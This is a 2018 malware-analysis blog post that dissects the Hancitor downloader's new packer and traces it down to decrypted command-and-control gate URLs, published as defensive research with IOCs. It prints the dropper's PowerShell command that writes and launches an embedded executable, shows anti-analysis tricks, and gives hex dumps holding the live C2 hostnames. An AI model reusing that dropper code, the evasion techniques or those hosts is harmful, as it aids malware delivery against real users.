Dissecting Hancitor's Latest 2018 Packer

researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/

Jeff White February 27, 2018

By Jeff White

February 27, 2018 at 5:00 AM

Category: Unit 42

Tags: hancitor

Summary
Over the past two years, the Hancitor malware family has been a fairly regular nuisance that defenders on the front line of organizations have to deal with on an almost weekly basis. The malware itself has gone through more than 80 variations during this time, sometimes just to define new variables for campaigns and other times a complete rewrite of the malware's core functionality by the code authors. Every now and then though, they venture out into the unknown with techniques unlike what Hancitor has used before. These occasions tend to be short-lived and I look at them more as "testing" phases. I suspect the malware authors monitor their infection rates and when they deviate from the tried and true, campaigns end up being less successful. For those interested in an overview of how a typical Hancitor malspam campaign operates, Unit 42 recently published a blog on the subject. In this post, I'll be diving into the technical inner-workings of their latest malware packer.
For this particular instance, campaigns on January 24, 2018 and January 25, 2018 used a different document format, Rich Text Format (RTF), that leveraged an exploit (CVE-2017-11882) to launch shellcode which executed a PowerShell command used to download the standard binary which has been used for months. Usually, Hancitor is distributed through Microsoft Word documents utilizing macros but RTF documents typically require some kind of exploit to execute code. In the past, Hancitor has kept itself at arm's length from exploitation and instead relied entirely on social-engineering. This most likely helps evade against anti-virus (AV) and endpoint detection and response (EDR) systems monitoring for that type of activity.
The first RTF variant on the 24th is fairly straightforward; however, on the 25th, the RTF now included an embedded PE file that was entirely different than their standard binary. This PE file exhibited a new unpacking technique that the Hancitor developers have never employed before and this will be the meat of the blog post. My end goal is to identify the standard Hancitor command and control (C2) gate URL's, which stayed the same even with the new dropper in use.
For this analysis, I'll be using the following sample:

SHA256 B489CA02DCEA8DC7D5420908AD5D58F99A6FEF160721DCECFD512095F2163F7A

RTF Dropper
I won't be getting into the details of the exploit but suffice to say, they used the CVE-2017-11882 exploit in their RTF document to launch shellcode and execute a PowerShell command. The PowerShell command in this campaign will save a base64 encoded PE to disk and then call the Start-Process cmdlet on it.

```
1  $EUX4JTF7 = '';foreach($82OJU7FY3US in (1..12 | foreach{ '{0:X}' -f (Get  Random -Max 235) })){$EUX4JTF7 += "$82OJU7FY3US"};$NR3M
   =  "$env:USERPROFILE\" + $EUX4JTF7 +  ".exe";
   [IO.File]::WriteAllBytes($NR3MNTAYNI,  [System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA AA
   <TRUNCATED>…AAAAAAAAAAAA'));Start-Process $NR3MNTAYNI
```

Hancitor PE
Once the PE is launched, it will create a simple mutex called *"e"* and then begin to employ some anti-disassembly techniques that seek to hinder static analysis. In general, most popular disassemblers default to flow-oriented disassembly as opposed to linear disassembly. This

means that when the disassembler analyzes instructions, if the instruction would shift the execution of the program to another location, then the disassembler may follow the instructions to that location to continue analysis. All bytes which would come after the branching may go unanalyzed and won't be disassembled. Abusing this functionality to confuse the disassembler is a very common technique.
Effectively, this sample builds an address location into a register and then uses that register as the operand for a CALL instruction to shift execution to a section of code that the disassembler hasn't analyzed. Since the disassembler doesn't know what value will be in that register upon analysis, assuming the code isn't analyzed due to other reasons, then it just leaves it as 'data'. In a debugger, this problem is fairly trivial to deal with as you can just instruct the debugger to re-analyze the code from any point you choose.
After its initial jump into unanalyzed code, the malware begins to employ more anti-disassembly and anti-debugging techniques. Specifically, it starts executing code where there will be one or two instructions immediately followed by a jump. Normally, you would be able to read instructions linearly and get an understanding of the overall functionality, but with jumps interspersed between each instruction, the flow is obscured and harder to analyze as you only ever see one or two pieces of the overall function on your screen. This requires you keep track of what's going on, step-by-step.
In this case, the first thing the code does is to load the address for VirtualProtect() into the EAX register and build the parameters on the stack for a call to it. Again, using a call to the register further helps prevent static analysis. Once the call is made, it adjusts the privileges for all memory space loaded by this PE to have read, write, and execute (RWE) bits set, shown below. This is also new to the Hancitor malware, but is specifically used within the packer which we will discuss shortly.

```
1  Address Size Owner Section Contains Type Access Initial Mapped as
2  00400000 00001000 b489ca02 PE header Imag RWE CopyOnWr RWE
3  00401000 00008000 b489ca02 .text code Imag RWE CopyOnWr RWE
4  00409000 00002000 b489ca02 .rdata imports Imag RWE CopyOnWr RWE
5  0040B000 00001000 b489ca02 .data data Imag RWE CopyOnWr RWE
6  0040C000 00001000 b489ca02 .rsrc resources Imag RWE CopyOnWr RWE
```

Setting all of the permissions to RWE allows for execution in the program to be transferred to any of the mapped memory regions, whereas typically it's limited to the "code" section. There is also no reason they couldn't have contained all of this within the "code" section, so it's a good indicator for detection when everything is converted to RWE. This is commonly done when there will be code hidden outside of the originally defined area; however, in this sample, they never actually execute code outside of this memory region so it's a shotgun approach to adjusting privileges.
The next action it will take, still using the same instruction-jump obfuscation, begins to XOR 0xC80 bytes beginning at address 0x402185 with the value 0xD1. One interesting oddity to their method here is that they move the value 0x5AF06AD1 to the EAX register, but only use the lower byte, AL (0xD1), for the XOR and ignore the other three bytes. It wouldn't be the first time the Hancitor malware has intended to use a full value but introduced errors in their code that caused it to only partially work as intended. The decoding routine looks like the following.

```
1   004040EA   3007          XOR BYTE PTR DS:[EDI],AL
2   004040EC   E9 8B000000    JMP b489ca02.0040417C
3   --
4   0040417C   41            INC ECX
5   0040417D   EB DD          JMP SHORT b489ca02.0040415C
6   --
7   0040415C   47            INC EDI
8   0040415D   EB D8          JMP SHORT b489ca02.00404137
9   --
10  00404137   39F1          CMP ECX,ESI
11  00404139   0F81 24FFFFFF  JNO b489ca02.00404063
12  --
13  00404063   0F82 81000000  JB b489ca02.004040EA
```

Once this loop finishes decoding new shellcode, it will transfer execution to address 0x402185 with a JMP instruction.
To illustrate looking at assembly that hasn't been analyzed yet, from a debugger perspective, you would see these bytes as data within the "code" section.

```
1   00402185   55   DB 55   ; CHAR 'U'
2   00402186   8B   DB 8B
3   00402187   EC   DB EC
4   00402188   81   DB 81
5   00402189   EC   DB EC
6   0040218A   04   DB 04
7   0040218B   02   DB 02
8   0040218C   00   DB 00
9   0040218D   00   DB 00
10  0040218E   53   DB 53   ; CHAR 'S'
11  0040218F   56   DB 56   ; CHAR 'V'
12  00402190   57   DB 57   ; CHAR 'W'
13  00402191   60   DB 60   ; CHAR '`'
14  00402192   FC   DB FC
```

Simply telling the debugger to reanalyze the code found will make it human readable.

```
1  00402185  . 55           PUSH EBP
2  00402186  . 8BEC         MOV EBP,ESP
3  00402188  . 81EC 04020000  SUB ESP,204
4  0040218E  . 53           PUSH EBX
5  0040218F  . 56           PUSH ESI
6  00402190  . 57           PUSH EDI                    ; b489ca02.00402E05
7  00402191  . 60           PUSHAD
8  00402192  . FC           CLD
```

Initial Shellcode

Once inside this new shellcode it begins to look up the address locations for a number of functions using GetProcAddress(). These functions will be used throughout the unpacking routines. The function names are not obfuscated and, once decoded from the above, can be seen in plain text.

```
00402326  E8 00 00 00 00 58 EB 11 47 65 74 4D 6F 64 75 6C  è....XëGetModul
00402336  65 48 61 6E 64 6C 65 41 00 83 C0 03 89 85 44 FF
eHandleA.ƒÀ‰…Dÿ
00402346  FF FF 58 8B 8D 44 FF FF FF 51 8B 55 F0 52 FF 55  ÿÿX‹DÿÿÿQ‹UðRÿU
00402356  DC 89 85 74 FF FF FF 50 E8 00 00 00 00 58 EB 0D  Ü‰…tÿÿÿPè....Xë.
00402366  4C 6F 61 64 4C 69 62 72 61 72 79 41 00 83 C0 03
LoadLibraryA.ƒÀ
00402376  89 85 1C FF FF FF 58 8B 85 1C FF FF FF 50 8B 4D  ‰…ÿÿÿX‹…ÿÿÿP‹M
00402386  F0 51 FF 55 DC 89 85 38 FF FF FF 50 E8 00 00 00  ðQÿUÜ‰…8ÿÿÿPè...
00402396  00 58 EB 0D 56 69 72 74 75 61 6C 41 6C 6C 6F 63  .Xë.VirtualAlloc
```

Some of the functions and DLL names looked up are listed below:

- GetModuleHandleA
- LoadLibraryA
- VirtualAlloc
- VirtualFree
- OutputDebugStringA
- ntdll.dll
- _stricmp
- memset
- memcpy

Throughout the unpacking, VirtualAlloc(), memcpy(), and VirtualFree() are heavily used for moving data around and overwriting existing data. Once it has all of the addresses, the sample will allocate a 0x1000 byte memory page and copy all of the decoded shellcode into it. Next, it will begin to egg hunt for two DWORD values, 0x88BAC570 and 0x48254000 respectively, in which it will find the address four bytes from the start of the second egg. Egg hunting allows the code to be position independent and is a technique found in almost all Hancitor variants. After identifying the address, it will be used in another “JMP EAX” instruction to transfer execution to a new function within the copied shellcode, at offset 0x3E4, in the newly allocated memory range.

Data Setup

From a control flow perspective, the same code is being executed, albeit from a new location, which frees up the unpacking functions to overwrite the code in the main body of the Hancitor PE.

The first actions taken is to overwrite code in three locations by copying data toward the end of the “code” section to earlier areas, shown below.

Source memcpy()	Size	Dest Addr Range
0x407C9E	0x514	0x4058D4-0x405DE8
0x4078B6	0x3E8	0x40400A-0x4043F2
0x406C36	0xC80	0x402185-0x402E05

During this operation, there is another good example that illustrates some of the anti-analysis tricks in use.

```
1   001F0453  EB 10          JMP SHORT 001F0465
2   001F0455  82EF 3D          SUB BH,3D
3   001F0458  3C 5D          CMP AL,5D
4   001F045A  53             PUSH EBX
5   001F045B  C8 E8518D        ENTER 51E8,8D
6   001F045F  FB             STI
7   001F0460  D9D0             FNOP
8   001F0462  231B           AND EBX,DWORD PTR DS:[EBX]
9   001F0464  14 83          ADC AL,83
10  001F0466  C003 89          ROL BYTE PTR DS:[EBX],89
11  001F0469  8540 FF          TEST DWORD PTR DS:[EAX-1],EAX
```

Beginning at the top of the code, you'll notice the "JMP SHORT 001F0465" instruction which is not actually in the address listing on the left side of this snippet. This is a common technique to obscure code flow because it was disassembled linearly at the instruction boundaries, but the JMP instruction is redirecting execution outside of the boundary. Once this jump is actually taken and lands in the middle of the shown instruction 0x1F0464, the code will be re-analyzed based on the instruction pointer location and change the meaning entirely.

```
1  001F0465   83C0 03          ADD EAX,3
2  001F0468   8985 40FFFFFF    MOV DWORD PTR SS:[EBP-C0],EAX
```

Unpacking More Shellcode

This next phase is where the unpacking actually occurs and the main purpose of this blog. Before I get into it, I'll preface it with if you know how RC4 works, you may want to skip ahead as the first two sections will cover the RC4 key-scheduling algorithm (KSA) and the RC4 pseudo-random generation algorithm (PRGA), which are used as part of this unpacking algorithm.

In general, packers seek to modify data or code in such a way that it's unlike the original content, effectively obfuscating it. Packers are not inherently bad but it adds another layer of evasion to malware, so they tend to go hand-in-hand. Each packer typically attempts to put their own spin on how to do this by coming up with unique algorithms; this makes it difficult to programmatically unpack malware at scale but also allows for varying levels of protection. Code packing algorithms can be as simple as a one-byte XOR across the data to full-on encryption or compression.

In the case of this malware, they've created an algorithm which initially uses RC4 KSA and incorporates the RC4 PRGA within a loop to generate a table of offsets that dictate the order in which to piece back together more shellcode.

RC4 KSA

To kick things off, this sample creates the substitution box (S-box) used in RC4 KSA. First, it will allocate an array of incrementing values starting from 0x0 to 0x100 (0-256) entirely on the stack.

I've annotated the assembly below which covers building and modifying the S-box, which is heavily utilized throughout the rest of the unpacking.

```
1   # Counter Check
2   001F04CA   8B4D F8          MOV ECX,DWORD PTR SS:[EBP-8]              ; Set ECX to counter value
3   001F04CD   83C1 01          ADD ECX,1                                 ; Increment counter by 0x1
4   001F04D0   894D F8          MOV DWORD PTR SS:[EBP-8],ECX              ; Store counter on stack
5   001F04D3   817D F8 00010000 CMP DWORD PTR SS:[EBP-8],100              ; Compare counter to 0x100
6   001F04DA   74 61            JE SHORT 001F053D                         ; End loop if counter is at 0x100
7   # Add previous loop value to value found at index in array 2 and the counter
8   001F04DC   8B45 F8          MOV EAX,DWORD PTR SS:[EBP-8]              ; Set EAX to counter value
9   001F04DF   33D2             XOR EDX,EDX                               ; Zero-out EDX register
10  001F04E1   F7B5 48FFFFFF    DIV DWORD PTR SS:[EBP-B8]                 ; Divide counter by 0x10 to retrieve index value for array
11  2
12  001F04E7   8B85 40FFFFFF    MOV EAX,DWORD PTR SS:[EBP-C0]             ; Set EAX to value of array 2 offset
13  001F04ED   0FB60410         MOVZX EAX,BYTE PTR DS:[EAX+EDX]           ; Set EAX to value at array 2 offset + counter
14  001F04F1   0345 EC          ADD EAX,DWORD PTR SS:[EBP-14]             ; Add previous result to EAX (0 on first run)
15  001F04F4   8B4D F8          MOV ECX,DWORD PTR SS:[EBP-8]              ; Set ECX to counter value
16  001F04F7   0FB6940D FCFDFFFF MOVZX EDX,BYTE PTR SS:[EBP+ECX-204]       ; Set EDX to value of array 1 offset + counter
17  001F04FF   03C2             ADD EAX,EDX                               ; Add the array 1 and array 2 values
18  001F0501   33D2             XOR EDX,EDX                               ; Zero-out EDX register
19  001F0503   B9 00010000      MOV ECX,100                               ; Set ECX 0x100
20  001F0508   F7F1             DIV ECX                                   ; Divide value in new value by 0x100
21  001F050A   8955 EC          MOV DWORD PTR SS:[EBP-14],EDX             ; Copy remainder value to stack (now "old" value)
22  001F050D   8B55 F8          MOV EDX,DWORD PTR SS:[EBP-8]              ; Set EDX to counter value
23  # Swap the array 1 dereferenced values
24  001F0510   8A8415 FCFDFFFF  MOV AL,BYTE PTR SS:[EBP+EDX-204]          ; Set AL to value of array 1 offset + counter
25  001F0517   8845 F7          MOV BYTE PTR SS:[EBP-9],AL                ; Store original value on stack
26  001F051A   8B4D F8          MOV ECX,DWORD PTR SS:[EBP-8]              ; Set ECX to counter value
27  001F051D   8B55 EC          MOV EDX,DWORD PTR SS:[EBP-14]             ; Copy "old" value to EDX
28  001F0520   8A8415 FCFDFFFF  MOV AL,BYTE PTR SS:[EBP+EDX-204]          ; Set AL to value of array 1 offset + old value
29  001F0527   88840D FCFDFFFF  MOV BYTE PTR SS:[EBP+ECX-204],AL          ; Set first index in array 1 to new value
30  001F052E   8B4D EC          MOV ECX,DWORD PTR SS:[EBP-14]             ; Set ECX to counter value
31  001F0531   8A55 F7          MOV DL,BYTE PTR SS:[EBP-9]                ; Copy "old" value from stack
32  001F0534   88940D FCFDFFFF  MOV BYTE PTR SS:[EBP+ECX-204],DL          ; Set second index in array 1 to old value
    001F053B   ^ EB 8D          JMP SHORT 001F04CA                        ; Next iteration
```

In this case, there are two arrays, the S-box built on the stack and another 16-byte "key" array found at 0x455 into the new shellcode. This key array is used to modify values throughout the KSA. Effectively, it takes the counter and uses 0x10 to calculate its modulo, afterwards this is used as an index into the key array. The dereferenced value found at the index is added to the "final" value from the previous iteration. In the case of the first iteration, this "final" value will be zero. Once those two values are added together, it will add the counter value to the sum and use 0x100 to calculate its modulo, becoming the new "final" value for the next iteration.

After completing that equation, it takes the "final" value as an index in the 256-byte S-box array and swaps the dereferenced value with the dereferenced value found at the index in the first array using the counter. This is the RC4 KSA in a nut shell.

Here is an example of this on iteration 0x14 in the loop, after some of the data has been modified already. You can see that after 0xC6, at offset 0x13, there are incrementing values: 0x14, 0x15, 0x16, 0x17, etc.

```
0012FD84   82 72 B1 F0 51 A9 77 66 BF 55 5A 3E 1A 4A 73 96
0012FD94   28 10 06 C6 14 15 16 17 18 19 0C 1B 1C 1D 1E 1F
0012FDA4   20 21 22 23 24 25 26 27 11 29 2A 2B 2C 2D 2E 2F
0012FDB4   30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 0B 3F
0012FDC4   40 41 42 43 44 45 46 47 48 49 0D 4B 4C 4D 4E 4F
```

For value 0x14, it retrieves the modulus of 0x4 by using 0x10 for the calculation, which is then used to find the additive value in the key array. The value at key[4] is 0x5D and this is added to the previous "final" value, 0xC6, which can be seen at offset 0x13.

```
1   0x5D + 0xC6 = 0x123
```

Next, it uses the counter as an index and dereferences the value to add into the equation. For the first couple of runs, the dereferenced value equates to the counter, but eventually these begin to overwrite and the values change accordingly.

```
1   0x123 + 0x14 = 0x137 % 0x100 = 0x37
```

Now the values at sbox1[0x37] and sbox1[0x14] are swapped, as can be seen below.

```
0012FD84   82 72 B1 F0 51 A9 77 66 BF 55 5A 3E 1A 4A 73 96
0012FD94   28 10 06 C6 37 15 16 17 18 19 0C 1B 1C 1D 1E 1F
0012FDA4   20 21 22 23 24 25 26 27 11 29 2A 2B 2C 2D 2E 2F
0012FDB4   30 31 32 33 34 35 36 14 38 39 3A 3B 3C 3D 0B 3F
0012FDC4   40 41 42 43 44 45 46 47 48 49 0D 4B 4C 4D 4E 4F
```

On the next iteration, with the key value being 0x53, it would look like this:

```
1   (0x53 + 0x37 + 0x15) % 0x100 = 0x9F
```

The values at sbox1[0x9F] and sbox1[0x15] would be swapped.
You'll see that at offset 0x1A in the example output above, the value is 0xC. On iteration 0x1A then, 0xC will be the value added to the key and the previous "final" value. This happens for 256 iterations and every value gets shifted around from its original starting point. Talos has a nice blog from 2014 that talks about S-box creation in malware and the RC4 entry on Wikipedia has a succinct overview as well.
I've recreated the logic shown previously Python as it may be easier to illustrate it with code.

```
1   def sbox1init():
2       return [x for x in range(0, 0x100)]
3   def rc4ksa(sbox1, key):
4       oldValue = 0x0
5       for counter in range(0, len(sbox1)):
6           addValue = key[counter % len(key)]
7           fnlValue = (oldValue + addValue + sbox1[counter]) % 0x100
8           sbox1[fnlValue], sbox1[counter] = sbox1[counter], sbox1[fnlValue]
9           oldValue = fnlValue
10      return sbox1
11  key = [0x82, 0xEF, 0x3D, 0x3C, 0x5D, 0x53, 0xC8, 0xE8, 0x51, 0x8D, 0xFB, 0xD9, 0xD0, 0x23, 0x1B, 0x14]
12  sbox1 = rc4ksa(sbox1init(), key)
```

In the Python codes first iteration, where the value in sbox1[0x0] is 0x00 and key[0x0] is 0x82, you would add 0x0 to 0x82 to 0x0 (the value at sbox1[counter]) and divide by 0x100. The remainder, 0x82, would then be placed in sbox1[0x0] and the value which was at sbox1[0x0] would be swapped into sbox1[0x82]. There are a lot of cleaner examples of code available online for the RC4 KSA but for the sake of learning, along with making sure that if there were any errors introduced by the malware authors, I created everything based on their logic used.

RC4 PRGA

The RC4 PRGA is used within the main unpacking loop specifically to generate a keystream value but how that value is used is where the malware author begins to diverge from RC4.
I'll briefly cover PRGA and then move onto the parent unpacking loop, which will make reference back to this algorithm.
Using a loop counter as an index into the original S-box, PRGA will dereference the value at sbox1[counter] and add it to the previous keystream value to create the second index. These values will then get swapped around in the S-box, similar to how the KSA does it. Finally, it will retrieve the value at sbox1[counter] and sbox1[secondIndex], add them together, and then use them in a modulo calculation with 0x100 to generate the new keystream value.
For example, the first byte referenced (counter starting at 0x1 in this case) is sbox1[0x1], which is 0x7 after completing the KSA. The value at sbox1[0x7] is 0xA6 and they swap values so that sbox1[0x1] is 0xA6 and the value at sbox1[0x7] is 0x7. It then adds 0xA6 to 0x7 to make

0xAD and takes the dereferenced value at sbox1[0xAD], in this case 0x58, as the keystream value.
Now, at this point, in regular RC4, the new keystream value would be used in an XOR operation to decode or encode a byte of ciphertext or plaintext. As you can guess, that is not the case with this malware.

Offset Table

Taking a step back, once the S-box generation is complete, the next step is to allocate two more regions of memory. It fills the first region, again, with incrementing values until it hits 0x5C36 but this time each value is a DWORD instead of a singular byte. This region will show itself to be yet another S-box in function.
Next, it launches into the main unpacking loop, which is the meat of the operation. On each iteration of this loop, it will use an inner-loop (the previously detailed RC4 PRGA) to retrieve a keystream byte – performed four times each parent loop iteration.
After obtaining the four bytes of keystream values, it will combine them into a DWORD and use it in a modulo calculation with the loop counter from the parent loop, decrementing by one each iteration from the length of the data (0x5C36).
For example, the first four bytes of keystream values are 0x58, 0x58, 0xF2, and 0xEA, which is combined to form 0xEAF25858.

```
1  0xEAF25858 % 0x5C36 = 0x5200
```

It takes the result of this operation and uses it as an index into the second S-Box of DWORD's. Next, it takes the dereferenced value found at the index and stores it in the third memory region, incrementing by an offset of 4 each time. Finally, it swaps the dereferenced values in the second memory region with the value found at the index into the second S-box.
In this case, the first DWORD in the third memory region will be 0x5200. It swaps the dereferenced values in the second memory region with the counter value so the value at the offset for 0x5200 will become 0x5C35 (decremented by 4 bytes) and the value found at the offset for 0x5C35 will be 0x5200.
This process continues until the parent loop finishes and, once complete, it will allocate another memory region wherein it copies 0x5C36 bytes from address 0x401000 in the main program.
Alright, if you've stuck with me this long, what I want to convey is that all of the above is to create an elaborate table of DWORD offsets, used as indexes, that define how the data will be unshuffled, which is finally what happens next.
For each byte in the new memory region, which is the data just copied from address range 0x401000-0x406C36, it will add the corresponding DWORD value for the respective iteration to the base of 0x401000 and copy that byte over. As a reminder, the data being copied at this point is the same data initially moved into position by the first three memcpy() calls.
The first DWORD in the third memory region is 0x5200, as discussed previously, and the first byte at 0x401000 is 0x8B, thus at 0x406200 (0x401000 + 0x5200) the value 0x8B will be placed. At no point are any of the bytes manipulated, as would be standard in an RC4 implementation, but instead are just rearranged into their respective order.
To help illustrate with code, below is the full implementation of the algorithm in Python. To save space, I've removed the data but this is available in full on GitHub if you want to review further.

```
def sbox1init():
    return [x for x in range(0, 0x100)]
def sbox2init():
    return [x for x in range(0, 0x5C36)]
def rc4ksa(sbox1, key):
    oldValue = 0x0
    for counter in range(0, len(sbox1)):
        addValue = key[counter % len(key)]
        fnlValue = (oldValue + addValue + sbox1[counter]) % 0x100
        sbox1[fnlValue], sbox1[counter] = sbox1[counter], sbox1[fnlValue]
        oldValue = fnlValue
    return sbox1
def offsetGen(sbox1, sbox2):
    offsetTable = []
    innerCount = 1
    oldValue = 0x0
    for counter in range(len(sbox2), 0, -1):
        fnlValue = ""
        for x in range(0, 4):
            innerIdx = innerCount % len(sbox1)
            oldValue = (sbox1[innerIdx] + oldValue) % 0x100
            addValue = (sbox1[oldValue] + sbox1[innerIdx]) % 0x100
            sbox1[innerIdx], sbox1[oldValue] = sbox1[oldValue], sbox1[innerIdx]
            fnlValue = "%02X" % sbox1[addValue] + fnlValue
            innerCount += 1
        fnlValue = int(fnlValue, 16) % counter
        offsetTable.append(sbox2[fnlValue])
        sbox2[fnlValue], sbox2[counter-1] = sbox2[counter-1], sbox2[fnlValue]
    return offsetTable
def unshuffle(data, offsetTable):
    unshuffle = [0x0] * len(offsetTable)
    data = [data[x:x+2] for x in range(0, len(data), 2)]
    for counter, entry in enumerate(offsetTable):
        unshuffle[entry] = chr(int(data[counter], 16))
    return "".join(unshuffle)
key = [0x82, 0xEF, 0x3D, 0x3C, 0x5D, 0x53, 0xC8, 0xE8, 0x51, 0x8D, 0xFB, 0xD9, 0xD0, 0x23, 0x1B, 0x14]
data = ""
offsetTable = offsetGen(rc4ksa(sbox1init(), key), sbox2init())
data = unshuffle(data, offsetTable)
```

Thus, concludes the unpacking algorithm. You'll see familiar strings for the actual Hancitor malware once it finishes.

```
00403A14  00 7C 00 00 00 7C 00 00 00 4D 6F 7A 69 6C 6C 61  .|...|...Mozilla
00403A24  2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54  /5.0 (Windows NT
00403A34  20 36 2E 31 3B 20 57 69 6E 36 34 3B 20 78 36 34   6.1; Win64; x64
00403A44  3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72  ; Trident/7.0; r
00403A54  76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 65 63  v:11.0) like Gec
00403A64  6B 6F 00 00 00 2A 2F 2A 00 50 4F 53 54 00 00 00  ko...*/*.POST...
00403A74  00 2A 2F 2A 00 47 45 54 00 68 74 74 70 3A 2F 2F  .*/*.GET.http://
00403A84  61 70 69 2E 69 70 69 66 79 2E 6F 72 67 00 00 00  api.ipify.org...
00403A94  00 30 2E 30 2E 30 2E 30 00 68 74 74 70 3A 2F 2F  .0.0.0.http://
00403AA4  67 6F 6F 67 6C 65 2E 63 6F 6D 00 00 00 47 55 49  google.com...GUI
```

Hancitor

Before execution shifts back to the main program, they use more anti-debugging tricks by calling the OutputDebugStringA() function to check whether or not the program is being debugged. Once that check is passed, it will begin executing the code found at 0x404000.

I won't spend too much time on the functionality of Hancitor as it has been blogged about endlessly but this is what this particular sample will do.

- Get OS version
- Get adapter address
- Get Windows directory
- Get volume information
- Check external IP with api[.]ipify[.]org

Once it has the information it needs, depending on whether you're running on x86 or x64 architecture, it formats the following string used in the initial POST to the Hancitor gate.

```
00405274  47 55 49 44 3D 25 49 36 34 75 26 42 55 49 4C 44  GUID=%I64u&BUILD
00405284  3D 25 73 26 49 4E 46 4F 3D 25 73 26 49 50 3D 25  =%s&INFO=%s&IP=%
00405294  73 26 54 59 50 45 3D 31 26 57 49 4E 3D 25 64 2E  s&TYPE=1&WIN=%d.
004052A4  25 64 28 78 33 32 29 00                          %d(x32).
```

After filling it out it will look similar to the below.

```
0012FA10  47 55 49 44 3D 31 31 32 38 32 32 30 34 30 37 30  GUID=11282204070
0012FA20  32 31 32 37 35 34 34 33 32 26 42 55 49 4C 44 3D  212754432&BUILD=
0012FA30  32 34 65 72 62 30 31 26 49 4E 46 4F 3D 57 49 4E  24erb01&INFO=WIN
0012FA40  2D 4D 48 4E 55 39 30 33 4A 4B 4C 51 20 40 20 57  -MHNU903JKLQ @ W
0012FA50  49 4E 2D 4D 48 4E 55 39 30 33 4A 4B 4C 51 5C 4D  IN-MHNU903JKLQ\M
0012FA60  61 74 65 72 20 4D 65 74 61 6C 26 49 50 3D 30 2E  ater Metal&IP=0.
0012FA70  30 2E 30 2E 30 26 54 59 50 45 3D 31 26 57 49 4E  0.0.0&TYPE=1&WIN
0012FA80  3D 36 2E 31 28 78 33 32 29 00                    =6.1(x32).
```

Gates

Going back to the entire reason I even delved into this was that I've maintained a Hancitor decoder for the past two years and, with each new variant, I try to find a way to decode out the Hancitor gates so they can quickly be identified and blocked. This variant, even after all of the above unpacking, still left me in the dark as to where the gates were.

To figure that out, we have to look a bit further into the code. At the address 0x402B51 in the unpacked shellcode we'll find a series of Windows decryption calls that take a blob of encrypted data, decrypt it, and reveal the Hancitor gate URL's and campaign code.

- CryptAcquireContextA
- CryptCreasteHash
- CryptHashData
- CryptDeriveKey
- CryptDecrypt
- CryptDestroyHash
- CryptDestroyKey

The algorithm in use here is SHA1 hashing with actual RC4 encryption. It uses an 8-byte value (0xAAE8678C261EC5DB) to derive the SHA1 key and then decrypts 0x2000 bytes.

```
00629B78  32 34 65 72 62 30 31 00 00 00 00 00 00 00 00 00  24erb01.........
00629B88  68 74 74 70 3A 2F 2F 6E 61 76 65 75 6E 64 70 61  http://naveundpa
00629B98  2E 63 6F 6D 2F 6C 73 35 2F 66 6F 72 75 6D 2E 70  .com/ls5/forum.p
00629BA8  68 70 7C 68 74 74 70 3A 2F 2F 75 6E 64 72 6F 6E  hp|http://undron
00629BB8  72 69 64 65 2E 72 75 2F 6C 73 35 2F 66 6F 72 75  ride.ru/ls5/foru
00629BC8  6D 2E 70 68 70 7C 68 74 74 70 3A 2F 2F 64 69 6E  m.php|http://din
00629BD8  67 70 61 72 6A 75 73 68 69 73 2E 72 75 2F 6C 73  gparjushis.ru/ls
00629BE8  35 2F 66 6F 72 75 6D 2E 70 68 70 00 00 00 00 00  5/forum.php.....
```

The first entry is the campaign code which correlates to the date the campaign was ran on, in this case January 24th, subsequently followed by the three Hancitor gates.

Conclusion

While Hancitor continues to evolve, they stick to a fairly strict playbook. This sample diverged from that playbook quite heavily but only saw usage in one campaign before they reverted back to other, older, variants. This may be due to the way it's packed being detected more frequently or some other unknown reason that caused a drop in their infection rates that prompted removing it. Either way, it's important to continue tracking their operation and documenting new techniques and tactics used by this adversary.

Palo Alto Networks customers are protected from Hancitor by WildFire and Traps. This threat can be tracked within AutoFocus by using the Hancitor tag.

IOCs

Hancitor Gates

- hxxp://naveundpa[.]com/ls5/forum[.]php
- hxxp://undronride[.]ru/ls5/forum[.]php
- hxxp://dingparjushis[.]ru/ls5/forum[.]php

User-Agent

> Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko